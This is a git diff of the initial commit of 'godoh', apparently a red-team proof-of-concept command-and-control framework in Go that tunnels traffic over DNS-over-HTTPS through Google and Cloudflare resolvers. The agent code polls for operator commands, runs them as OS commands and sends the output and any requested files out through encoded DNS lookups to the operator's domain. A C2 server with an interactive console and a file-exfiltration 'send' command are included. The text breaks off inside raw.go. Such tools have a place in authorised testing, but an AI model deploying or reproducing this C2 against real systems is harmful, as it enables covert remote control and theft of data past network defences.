diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..215584f --- /dev/null +++ b/.gitignore @@ -0,0 +1,21 @@ +# Binaries for programs and plugins +*.exe +*.dll +*.so +*.dylib + +# dep vendor/ +vendor/ + +# build artifacts +build/ + +# Test binary, build with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 +.glide/ +.DS_Store diff --git a/Gopkg.lock b/Gopkg.lock new file mode 100644 index 0000000..8c6f07c --- /dev/null +++ b/Gopkg.lock @@ -0,0 +1,75 @@ +# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'. + + +[[projects]] + branch = "master" + name = "github.com/anynines/go-ntlm-auth" + packages = ["ntlm"] + revision = "eff1ed18c75d4c6459a29ce2d0c9ada8c9ca4ac4" + +[[projects]] + branch = "master" + name = "github.com/anynines/go-proxy-setup-ntlm" + packages = ["proxysetup/ntlm"] + revision = "638c5b468c2e838f09d1853f9326b53a67adde2c" + +[[projects]] + name = "github.com/inconshreveable/mousetrap" + packages = ["."] + revision = "76626ae9c91c4f2a10f34cad8ce83ea42c93bb75" + version = "v1.0" + +[[projects]] + name = "github.com/konsorten/go-windows-terminal-sequences" + packages = ["."] + revision = "5c8c8bd35d3832f5d134ae1e1e375b69a4d25242" + version = "v1.0.1" + +[[projects]] + name = "github.com/miekg/dns" + packages = ["."] + revision = "d74956db7b5b20451796774572d0f5a0222e377a" + version = "v1.0.13" + +[[projects]] + name = "github.com/sirupsen/logrus" + packages = ["."] + revision = "ad15b42461921f1fb3529b058c6786c6a45d5162" + version = "v1.1.1" + +[[projects]] + name = "github.com/spf13/cobra" + packages = ["."] + revision = "ef82de70bb3f60c65fb8eebacbb2d122ef517385" + version = "v0.0.3" + +[[projects]] + name = "github.com/spf13/pflag" + packages = ["."] + revision = "298182f68c66c05229eb03ac171abe6e309ee79a" + version = "v1.0.3" + +[[projects]] + branch = "master" + name = "golang.org/x/crypto" + packages = ["ed25519","ed25519/internal/edwards25519","ssh/terminal"] + revision = "0c41d7ab0a0ee717d4590a44bcb987dfd9e183eb" + +[[projects]] + branch = "master" + name = "golang.org/x/net" + packages = ["bpf","internal/iana","internal/socket","ipv4","ipv6"] + revision = "49bb7cea24b1df9410e1712aa6433dae904ff66a" + +[[projects]] + branch = "master" + name = "golang.org/x/sys" + packages = ["unix","windows"] + revision = "fa43e7bc11baaae89f3f902b2b4d832b68234844" + +[solve-meta] + analyzer-name = "dep" + analyzer-version = 1 + inputs-digest = "8e327c788ce06db4313bf61af8eef4c88c4c34e3d15085dbadbec89798b67765" + solver-name = "gps-cdcl" + solver-version = 1 diff --git a/Gopkg.toml b/Gopkg.toml new file mode 100644 index 0000000..7dd51ee --- /dev/null +++ b/Gopkg.toml @@ -0,0 +1,38 @@ + +# Gopkg.toml example +# +# Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md +# for detailed Gopkg.toml documentation. +# +# required = ["github.com/user/thing/cmd/thing"] +# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"] +# +# [[constraint]] +# name = "github.com/user/project" +# version = "1.0.0" +# +# [[constraint]] +# name = "github.com/user/project2" +# branch = "dev" +# source = "github.com/myfork/project2" +# +# [[override]] +# name = "github.com/x/y" +# version = "2.4.0" + + +[[constraint]] + name = "github.com/mitchellh/go-homedir" + version = "1.0.0" + +[[constraint]] + name = "github.com/spf13/cobra" + version = "0.0.3" + +[[constraint]] + name = "github.com/spf13/viper" + version = "1.2.1" + +[[constraint]] + name = "github.com/sirupsen/logrus" + version = "1.1.1" diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..f4ea9d4 --- /dev/null +++ b/Makefile @@ -0,0 +1,38 @@ +# ref: https://vic.demuzere.be/articles/golang-makefile-crosscompile/ +LD_FLAGS := -s -w +BIN_DIR := build +BIN_NAME := godoh + +K := $(shell openssl rand -hex 16) + +default: keywarn clean darwin linux windows pack integrity + +clean: + $(RM) $(BIN_DIR)/$(BIN_NAME)* + go clean -x + +keywarn: + @echo "!!! Consider running 'make key' before 'make' to generate new encryption keys!" + @echo "!!! Not doing this will leave your C2 using the default key!\n" + +key: + sed -i -E "s/const.*/const cryptKey = \`$(K)\`/g" utils/key.go + +install: + go install + +darwin: + GOOS=darwin GOARCH=amd64 go build -ldflags="$(LD_FLAGS)" -o '$(BIN_DIR)/$(BIN_NAME)-darwin64' + +linux: + GOOS=linux GOARCH=amd64 go build -ldflags="$(LD_FLAGS)" -o '$(BIN_DIR)/$(BIN_NAME)-linux64' + +windows: + GOOS=windows GOARCH=amd64 go build -ldflags="$(LD_FLAGS)" -o '$(BIN_DIR)/$(BIN_NAME)-windows64.exe' + GOOS=windows GOARCH=386 go build -ldflags="$(LD_FLAGS)" -o '$(BIN_DIR)/$(BIN_NAME)-windows32.exe' + +pack: + cd $(BIN_DIR) && upx $(BIN_NAME)-linux64 $(BIN_NAME)-windows32.exe $(BIN_NAME)-windows64.exe + +integrity: + cd $(BIN_DIR) && shasum * diff --git a/README.md b/README.md new file mode 100644 index 0000000..8e1f342 --- /dev/null +++ b/README.md @@ -0,0 +1,56 @@ +

+
+ + godoh + +
+
+

+ +

A DNS-over-HTTPS Command & Control Proof of Concept

+
+ +## introduction + +`godoh` is a proof of concept Command and Control framework, written in Golang, that uses DNS-over-HTTPS as a transport medium. Currently supported providers include Google, Cloudflare but also contains the ability to use traditional DNS. + +## installation + +All you would need are the `godoh` binaries themselves. Binaries are available for download from the [releases](https://github.com/sensepost/goDoH/releases) page as part of tagged releases. + +To build `godoh` from source, follow the following steps: + +* Ensure you have [dep](https://github.com/golang/dep) installed (`go get -v -u github.com/golang/dep/cmd/dep`) +* Clone this repository to your `$GOPATH`'s `src/` directory so that it is in `sensepost/goDoH` +* Run `dep ensure` to resolve dependencies +* Run `make key` to generate a unique encryption key to use for communication +* Use the `go` build tools, or run `make` to build the binaries in the `build/` directory + +## usage + +```txt +$ godoh -h +A DNS (over-HTTPS) C2 + +Usage: + godoh [command] + +Available Commands: + agent Connect as an Agent to the DoH C2 + c2 Starts the godoh C2 server + help Help about any command + receive Receive a file via DoH + send Send a file via DoH + test Test DNS communications + +Flags: + -d, --domain string DNS Domain to use. (ie: example.com) + -h, --help help for godoh + -p, --provider string Preferred DNS provider to use. [possible: google, cloudflare, raw] (default "google") + +Use "godoh [command] --help" for more information about a command. +``` + +## license + +`godoh` is licensed under a [GNU General Public v3 License](https://www.gnu.org/licenses/gpl-3.0.en.html). Permissions beyond the scope of this license may be available at http://sensepost.com/contact/. diff --git a/cmd/agent.go b/cmd/agent.go new file mode 100644 index 0000000..ad8024a --- /dev/null +++ b/cmd/agent.go @@ -0,0 +1,194 @@ +package cmd + +import ( + "encoding/hex" + "fmt" + "io/ioutil" + "os" + "os/exec" + "strings" + "time" + + "github.com/miekg/dns" + "github.com/sensepost/godoh/dnsclient" + "github.com/sensepost/godoh/protocol" + "github.com/sensepost/godoh/utils" + "github.com/spf13/cobra" + + log "github.com/sirupsen/logrus" +) + +var agentCmdAgentName string +var agentCmdAgentPoll int + +// agentCmd represents the agent command +var agentCmd = &cobra.Command{ + Use: "agent", + Short: "Connect as an Agent to the DoH C2", + Long: `Connect as an Agent to the DoH C2. + +Example: + godoh --domain example.com agent + godoh --domain example.com agent -n agent1 + godoh --domain example.com agent --agent-name agent1 --poll-time 5`, + Run: func(cmd *cobra.Command, args []string) { + + if agentCmdAgentName == "" { + agentCmdAgentName = utils.RandomString(5) + } + + agentLogger := log.WithFields(log.Fields{"module": "agent", "ident": agentCmdAgentName}) + + agentLogger.Info("Starting polling...") + + for { + // Wait for the next poll! + time.Sleep(time.Second * time.Duration(agentCmdAgentPoll)) + + // Do lookup + response := dnsclient.Lookup(dnsProvider, + fmt.Sprintf("%x.%s", agentCmdAgentName, dnsDomain), dns.TypeTXT) + + // Do nothing. + if strings.Contains(response.Data, protocol.NoCmdTxtResponse[0]) { + continue + } + + if strings.Contains(response.Data, protocol.ErrorTxtResponse[0]) { + agentLogger.Error("Server indicated an error. Stopping :(") + continue + } + + if strings.Contains(response.Data, protocol.CmdTxtResponse[0]) { + + cmdParsed := strings.Split(response.Data, "p=")[1] + cmd := strings.Split(cmdParsed, "\"")[0] + agentLogger.WithFields(log.Fields{"cmd-data": cmd}).Info("Got command data to execute, processing") + + // decode the command + dataBytes, err := hex.DecodeString(cmd) + if err != nil { + agentLogger.WithFields(log.Fields{"err": err}).Error("Failed to decode command data") + return + } + + var command string + utils.UngobUnpress(&command, dataBytes) + agentLogger.WithFields(log.Fields{"cmd": command}).Info("Decoded command") + + // Execute the command! + commandSplit := strings.Split(command, " ") + cmdBin := commandSplit[0] + cmdArgs := commandSplit[1:] + + // TODO: Check if the command is a `cd` command. + // If so, set something like cmd.Cwd + + // File download + if cmdBin == "download" { + agentLogger.Info("Command is for a file download") + if err := downloadFile(strings.Join(cmdArgs, " "), agentLogger); err != nil { + // silently fail + agentLogger.WithFields(log.Fields{"err": err}).Error("Failed to download file") + } + continue + } + + // Exec an os command + agentLogger.Info("Command interpreted as OS command") + executeCommand(cmdBin, cmdArgs, agentLogger) + continue + } + } + }, +} + +func init() { + rootCmd.AddCommand(agentCmd) + + agentCmd.Flags().StringVarP(&agentCmdAgentName, "agent-name", "n", "", "Agent name to use. (default: random)") + agentCmd.Flags().IntVarP(&agentCmdAgentPoll, "poll-time", "t", 10, "Time in seconds between polls.") +} + +func executeCommand(cmdBin string, cmdArgs []string, logger *log.Entry) { + + out, err := exec.Command(cmdBin, cmdArgs...).CombinedOutput() + if err != nil { + out = []byte(err.Error()) + } + + // Send the response back to the server! + commandOutput := protocol.Command{} + commandOutput.Data = out + commandOutput.ExecTime = time.Now() + + commandOutput.Prepare(cmdBin + strings.Join(cmdArgs, " ")) + requests, successFlag := commandOutput.GetRequests() + + logger.WithFields(log.Fields{ + "request-count": len(requests), + "cmd-output-len": len(out), + }).Info("Sending command output back") + + for _, r := range requests { + response := dnsclient.Lookup(dnsProvider, fmt.Sprintf("%s.%s", r, dnsDomain), dns.TypeA) + + if response.Data == successFlag { + logger.WithFields(log.Fields{ + "response": response.Data, + "labels": r, + }).Info("Successful request made") + } else { + logger.WithFields(log.Fields{ + "response": response.Data, + "labels": r, + }).Info("Server did not respond with a successful ack. Exiting") + fmt.Println("") + return + } + } +} + +func downloadFile(fileName string, logger *log.Entry) error { + + file, err := os.Open(fileName) + if err != nil { + return err + } + defer file.Close() + + fileInfo, err := file.Stat() + if err != nil { + return err + } + + fileBuffer, err := ioutil.ReadAll(file) + if err != nil { + return err + } + + message := protocol.File{} + message.Prepare(&fileBuffer, fileInfo) + requests, successFlag := message.GetRequests() + + for _, r := range requests { + response := dnsclient.Lookup(dnsProvider, fmt.Sprintf("%s.%s", r, dnsDomain), dns.TypeA) + + if response.Data == successFlag { + logger.WithFields(log.Fields{ + "response": response.Data, + "labels": r, + }).Info("Successful request made") + + } else { + logger.WithFields(log.Fields{ + "response": response.Data, + "labels": r, + }).Info("Server did not respond with a successful ack. Exiting") + + return nil + } + } + + return nil +} diff --git a/cmd/c2.go b/cmd/c2.go new file mode 100644 index 0000000..24275d1 --- /dev/null +++ b/cmd/c2.go @@ -0,0 +1,159 @@ +package cmd + +import ( + "bufio" + "fmt" + "os" + "strconv" + "strings" + + "github.com/miekg/dns" + "github.com/sensepost/godoh/dnsserver" + "github.com/sensepost/godoh/protocol" + "github.com/spf13/cobra" + + log "github.com/sirupsen/logrus" +) + +var replPrompt = "c2" +var agentContext = "" + +// c2Cmd represents the c2 command +var c2Cmd = &cobra.Command{ + Use: "c2", + Short: "Starts the godoh C2 server", + Long: `Starts the godoh C2 server. + +The implementation is pretty simple in that it will accept most communications +inbound, assuming a full DNS stream conversation is done. + +Even though a global DNS provider is chosen as part of the base command, this +sub command cares little for that as any incoming, raw DNS packets are parsed. + +Examples: + godoh --domain example.com c2`, + Run: func(cmd *cobra.Command, args []string) { + + c2logger := log.WithFields(log.Fields{"module": "c2", "domain": dnsDomain}) + + srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"} + h := &dnsserver.Handler{ + StreamSpool: make(map[string]protocol.DNSBuffer), + CommandSpool: make(map[string]protocol.Command), // only a single command per agent now + Agents: make(map[string]protocol.Agent), + } + srv.Handler = h + + go func() { + c2logger.Info("DNS C2 starting...") + if err := srv.ListenAndServe(); err != nil { + log.Fatalf("Failed to set udp listener %s\n", err.Error()) + } + }() + + help() + + // a small, simple REPL loop + for { + buf := bufio.NewReader(os.Stdin) + fmt.Printf("%s> ", replPrompt) + cmd, err := buf.ReadString('\n') + if err != nil { + fmt.Println(err) + continue + } + + cmd = strings.TrimSpace(cmd) + + // empty commands + if cmd == "" { + continue + } + + if cmd == "exit" { + break + } + + if cmd == "help" { + help() + continue + } + + if cmd == "agents" { + if len(h.Agents) <= 0 { + fmt.Println("No agents registered.") + continue + } + + for _, a := range h.Agents { + fmt.Printf("Id: %s (Registered: %s) (Last Checkin: %s)\n", + a.Identifier, a.FirstCheckin.Format("Mon Jan _2 15:04:05 2006"), + a.LastCheckin.Format("Mon Jan _2 15:04:05 2006")) + continue + } + + continue + } + + // Agent context switching + if strings.HasPrefix(cmd, "use") && len(strings.Split(cmd, " ")) == 2 { + + newContext := strings.Split(cmd, " ")[1] + _, ok := h.Agents[newContext] + if !ok { + fmt.Printf("Unknown agent `%s`\n", newContext) + continue + } + + agentContext = newContext + + // c2\foobar> + replPrompt = replPrompt + `\` + agentContext + continue + } + + if cmd == "back" && agentContext != "" { + agentContext = "" + replPrompt = "c2" + + continue + + } else if cmd == "back" && agentContext == "" { + + fmt.Println("Not in agent context") + continue + } + + // Looks like we want to execute a command. Check context + if agentContext == "" { + fmt.Println("Need to `use agent` to execute a command!") + continue + } + + command := strings.TrimSuffix(cmd, "\n") + + // prepare and add the command + c := protocol.Command{} + c.Prepare(command) + h.CommandSpool[agentContext] = c + + c2logger.WithFields(log.Fields{"agent": agentContext, "cmd": command}).Info("Queued command") + } + }, +} + +func init() { + rootCmd.AddCommand(c2Cmd) +} + +func help() { + fmt.Println("Commands are directed to agents after switching to its context.") + fmt.Println("") + fmt.Println("Use the `agents` command to list agents.") + fmt.Println("Use the `use agent-id` to interact with that agent and issue commands.") + fmt.Println("Use the `download path` in an agents' context to download files.") + fmt.Println("Use the `back` command to go back.") + fmt.Println("") + fmt.Printf("Current agent context: `%s`\n", agentContext) + fmt.Println("") +} diff --git a/cmd/receive.go b/cmd/receive.go new file mode 100644 index 0000000..adc5bf9 --- /dev/null +++ b/cmd/receive.go @@ -0,0 +1,39 @@ +package cmd + +import ( + "strconv" + + "github.com/miekg/dns" + "github.com/sensepost/godoh/dnsserver" + "github.com/sensepost/godoh/protocol" + "github.com/spf13/cobra" + + log "github.com/sirupsen/logrus" +) + +// receiveCmd represents the receive command +var receiveCmd = &cobra.Command{ + Use: "receive", + Short: "Receive a file via DoH", + Long: `Receive a file via DoH. +Starts a DNS server to receive files. Files received will be dumped to the +current working directory using the original file name the target file had. + +Example: + godoh --domain example.com receive`, + Run: func(cmd *cobra.Command, args []string) { + + srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"} + srv.Handler = &dnsserver.Handler{ + StreamSpool: make(map[string]protocol.DNSBuffer), + } + log.Info("Serving DNS") + if err := srv.ListenAndServe(); err != nil { + log.Fatalf("Failed to set udp listener %s\n", err.Error()) + } + }, +} + +func init() { + rootCmd.AddCommand(receiveCmd) +} diff --git a/cmd/root.go b/cmd/root.go new file mode 100644 index 0000000..de383e2 --- /dev/null +++ b/cmd/root.go @@ -0,0 +1,79 @@ +package cmd + +import ( + "fmt" + "math/rand" + "os" + "strings" + "time" + + "github.com/sensepost/godoh/dnsclient" + + log "github.com/sirupsen/logrus" + + "github.com/spf13/cobra" +) + +var dnsDomain string +var dnsProviderName string +var dnsProvider dnsclient.Client + +// rootCmd represents the base command when called without any subcommands +var rootCmd = &cobra.Command{ + Use: "godoh", + Short: "A DNS (over-HTTPS) C2", + Long: `A DNS (over-HTTPS) C2`, +} + +// Execute adds all child commands to the root command and sets flags appropriately. +func Execute() { + if err := rootCmd.Execute(); err != nil { + fmt.Println(err) + os.Exit(1) + } +} + +func init() { + cobra.OnInitialize(validateDNSProvider) + cobra.OnInitialize(validateDNSDomain) + cobra.OnInitialize(seedRand) + + rootCmd.PersistentFlags().StringVarP(&dnsDomain, + "domain", "d", "", "DNS Domain to use. (ie: example.com)") + rootCmd.PersistentFlags().StringVarP(&dnsProviderName, + "provider", "p", "google", "Preferred DNS provider to use. [possible: google, cloudflare, raw]") +} + +func seedRand() { + rand.Seed(time.Now().UTC().UnixNano()) +} + +func validateDNSDomain() { + if dnsDomain == "" { + log.Fatalf("A DNS domain to use is required.") + } + + if strings.HasPrefix(dnsDomain, ".") { + log.Fatalf("The DNS domain should be the base FQDN (without a leading dot).") + } + + log.Infof("Using %s as DNS domain\n", dnsDomain) +} + +func validateDNSProvider() { + switch dnsProviderName { + case "google": + dnsProvider = dnsclient.NewGoogleDNS() + break + case "cloudflare": + dnsProvider = dnsclient.NewCloudFlareDNS() + break + case "raw": + dnsProvider = dnsclient.NewRawDNS() + break + default: + log.Fatalf("DNS provider `%s` is not valid.\n", dnsProviderName) + } + + log.Infof("Using `%s` as preferred provider\n", dnsProviderName) +} diff --git a/cmd/send.go b/cmd/send.go new file mode 100644 index 0000000..b6579d6 --- /dev/null +++ b/cmd/send.go @@ -0,0 +1,90 @@ +package cmd + +import ( + "fmt" + "io/ioutil" + "os" + + "github.com/sensepost/godoh/dnsclient" + "github.com/sensepost/godoh/protocol" + + "github.com/miekg/dns" + "github.com/spf13/cobra" + + log "github.com/sirupsen/logrus" +) + +var sendCmdFileName string + +// sendCmd represents the send command +var sendCmd = &cobra.Command{ + Use: "send", + Short: "Send a file via DoH", + Long: `Send a file via DoH. + +The source file will be encoded, encrypted and sent +via DNS A record lookups to the target domain. + +Example: + godoh --domain example.com send --file blueprints.docx`, + Run: func(cmd *cobra.Command, args []string) { + + sendLogger := log.WithFields(log.Fields{"module": "send"}) + + if sendCmdFileName == "" { + sendLogger.Fatal("Please provide a file name to send!") + } + + file, err := os.Open(sendCmdFileName) + if err != nil { + sendLogger.Fatal(err) + } + defer file.Close() + + fileInfo, err := file.Stat() + if err != nil { + sendLogger.Fatal(err) + } + + fileSize := fileInfo.Size() + log.WithFields(log.Fields{"file": sendCmdFileName, "size": fileSize}). + Info("File name and size") + + fileBuffer, err := ioutil.ReadAll(file) + if err != nil { + sendLogger.Fatal(err) + } + + message := protocol.File{} + message.Prepare(&fileBuffer, fileInfo) + requests, successFlag := message.GetRequests() + + log.WithFields(log.Fields{"file": sendCmdFileName, "size": fileSize, "requests": len(requests)}). + Info("Making DNS requests to transfer file") + + for _, r := range requests { + response := dnsclient.Lookup(dnsProvider, fmt.Sprintf(dnsDomain, r), dns.TypeA) + + if response.Data == successFlag { + log.WithFields(log.Fields{ + "file": sendCmdFileName, + "size": fileSize, + "requests": len(requests), + "response": response.Data, + }).Info("Server successfully acked") + + } else { + fmt.Println("Server did not respond with a successful ack. Exiting.") + return + } + } + + fmt.Println("Done! The file should be on the other side! :D") + }, +} + +func init() { + rootCmd.AddCommand(sendCmd) + + sendCmd.Flags().StringVarP(&sendCmdFileName, "file", "f", "", "The file to send.") +} diff --git a/cmd/test.go b/cmd/test.go new file mode 100644 index 0000000..b954150 --- /dev/null +++ b/cmd/test.go @@ -0,0 +1,66 @@ +package cmd + +import ( + "fmt" + "log" + + "github.com/miekg/dns" + "github.com/spf13/cobra" + + "github.com/sensepost/godoh/dnsclient" +) + +var testCmdName string +var testCmdRecordType string + +// testCmd represents the test command +var testCmd = &cobra.Command{ + Use: "test", + Short: "Test DNS communications", + Long: `Tests communications to all of the known DNS-over-HTTPS communications providers. +For example: + + godoh test --name google.com --type TXT + godoh test -n duckduckgo.com --type A`, + Run: func(cmd *cobra.Command, args []string) { + if testCmdName == "" { + log.Fatal("Please use a --name to lookup!") + } + if testCmdRecordType == "" { + log.Fatal("Please set a type to lookup!") + } + + var dnsType uint16 + switch testCmdRecordType { + case "A": + dnsType = dns.TypeA + break + case "TXT": + dnsType = dns.TypeTXT + break + default: + fmt.Printf("Unrecognized type `%s`, defaulting to A record\n", testCmdRecordType) + dnsType = dns.TypeA + break + } + + c := dnsclient.NewGoogleDNS() + values := dnsclient.Lookup(c, testCmdName, dnsType) + fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL) + + d := dnsclient.NewCloudFlareDNS() + values = dnsclient.Lookup(d, testCmdName, dnsType) + fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL) + + e := dnsclient.NewRawDNS() + values = dnsclient.Lookup(e, testCmdName, dnsType) + fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL) + }, +} + +func init() { + rootCmd.AddCommand(testCmd) + + testCmd.Flags().StringVarP(&testCmdName, "name", "n", "", "Name to lookup.") + testCmd.Flags().StringVarP(&testCmdRecordType, "type", "t", "A", "Record type to lookup.") +} diff --git a/dnsclient/client.go b/dnsclient/client.go new file mode 100644 index 0000000..535ee41 --- /dev/null +++ b/dnsclient/client.go @@ -0,0 +1,25 @@ +package dnsclient + +// Client is an interface all clients should conform to. +type Client interface { + Lookup(name string, rType uint16) Response +} + +// NewGoogleDNS starts a new Google DNS-over-HTTPS resolver Client +func NewGoogleDNS() *GoogleDNS { + return &GoogleDNS{BaseURL: "https://dns.google.com/resolve"} +} + +// NewCloudFlareDNS starts a new Cloudflare DNS-over-HTTPS resolver Client +func NewCloudFlareDNS() *CloudflareDNS { + return &CloudflareDNS{BaseURL: "https://cloudflare-dns.com/dns-query"} +} + +func NewRawDNS() *RawDNS { + return &RawDNS{} +} + +// Lookup is used by the rest of the commands to resolve names +func Lookup(c Client, name string, rType uint16) Response { + return c.Lookup(name, rType) +} diff --git a/dnsclient/cloudflare.go b/dnsclient/cloudflare.go new file mode 100644 index 0000000..3d4344c --- /dev/null +++ b/dnsclient/cloudflare.go @@ -0,0 +1,68 @@ +package dnsclient + +import ( + "encoding/json" + "io/ioutil" + "log" + "net/http" + "strconv" + "time" + + "github.com/miekg/dns" +) + +// CloudflareDNS is a Client instance resolving using Cloudflares DNS-over-HTTPS service +type CloudflareDNS struct { + BaseURL string +} + +// Lookup performs a DNS lookup using Cloudflare +func (c *CloudflareDNS) Lookup(name string, rType uint16) Response { + client := http.Client{ + Timeout: time.Second * 20, + } + req, err := http.NewRequest("GET", c.BaseURL, nil) + if err != nil { + log.Fatal(err) + } + + req.Header.Add("accept", "application/dns-json") + + q := req.URL.Query() + q.Add("name", name) + q.Add("type", strconv.Itoa(int(rType))) + q.Add("cd", "false") // ignore DNSSEC + q.Add("do", "false") // ignore DNSSEC + req.URL.RawQuery = q.Encode() + // fmt.Println(req.URL.String()) + + res, err := client.Do(req) + if err != nil { + log.Fatal(err) + } + + body, err := ioutil.ReadAll(res.Body) + if err != nil { + log.Fatal(err) + } + + // fmt.Printf("CLOUDFLARE DNS RESPONSE BODY:\n%s\n", body) + + dnsRequestResponse := requestResponse{} + err = json.Unmarshal(body, &dnsRequestResponse) + if err != nil { + log.Fatal(err) + } + + fout := Response{} + + if len(dnsRequestResponse.Answer) <= 0 { + return fout + } + + fout.TTL = dnsRequestResponse.Answer[0].TTL + fout.Data = dnsRequestResponse.Answer[0].Data + fout.Status = dns.RcodeToString[dnsRequestResponse.Status] + + return fout +} diff --git a/dnsclient/doc.go b/dnsclient/doc.go new file mode 100644 index 0000000..31eaaac --- /dev/null +++ b/dnsclient/doc.go @@ -0,0 +1,3 @@ +// Package dnsclient contains logic to interact with differnt DoH providers +// ref: https://github.com/curl/curl/wiki/DNS-over-HTTPS +package dnsclient diff --git a/dnsclient/google.go b/dnsclient/google.go new file mode 100644 index 0000000..8360fad --- /dev/null +++ b/dnsclient/google.go @@ -0,0 +1,68 @@ +package dnsclient + +import ( + "encoding/json" + "io/ioutil" + "log" + "net/http" + "strconv" + "time" + + "github.com/miekg/dns" +) + +// GoogleDNS is a Client instance resolving using Googles DNS-over-HTTPS service +type GoogleDNS struct { + BaseURL string +} + +// Lookup performs a DNS lookup using Google +func (c *GoogleDNS) Lookup(name string, rType uint16) Response { + + client := http.Client{ + Timeout: time.Second * 20, + } + + req, err := http.NewRequest("GET", c.BaseURL, nil) + if err != nil { + log.Fatal(err) + } + + q := req.URL.Query() + q.Add("name", name) + q.Add("type", strconv.Itoa(int(rType))) + q.Add("cd", "false") // ignore DNSSEC + // TODO: add random_padding + req.URL.RawQuery = q.Encode() + // fmt.Println(req.URL.String()) + + res, err := client.Do(req) + if err != nil { + log.Fatal(err) + } + + body, err := ioutil.ReadAll(res.Body) + if err != nil { + log.Fatal(err) + } + + // fmt.Printf("GOOGLE DNS RESPONSE BODY:\n%s\n", body) + + dnsRequestResponse := requestResponse{} + err = json.Unmarshal(body, &dnsRequestResponse) + if err != nil { + log.Fatal(err) + } + + fout := Response{} + + if len(dnsRequestResponse.Answer) <= 0 { + return fout + } + + fout.TTL = dnsRequestResponse.Answer[0].TTL + fout.Data = dnsRequestResponse.Answer[0].Data + fout.Status = dns.RcodeToString[dnsRequestResponse.Status] + + return fout +} diff --git a/dnsclient/raw.go b/dnsclient/raw.go new file mode 100644 index 0000000..41e7c01 --- /dev/null +++ b/dnsclient/raw.go @@ -0,0 +1,61 @@ +package dnsclient + +import ( + "fmt" + "net" + "strings" + + "github.com/miekg/dns" +) + +// RawDNS is a Client instance resolving using an operating systems configured DNS +type RawDNS struct { +} + +// Lookup performs a DNS lookup using UDP DNS +func (c *RawDNS) Lookup(name string, rType uint16) Response { + + // We set the TTL & Status here cause this lookup is really dumb. + // Whatever. + resp := Response{ + TTL: 0, + 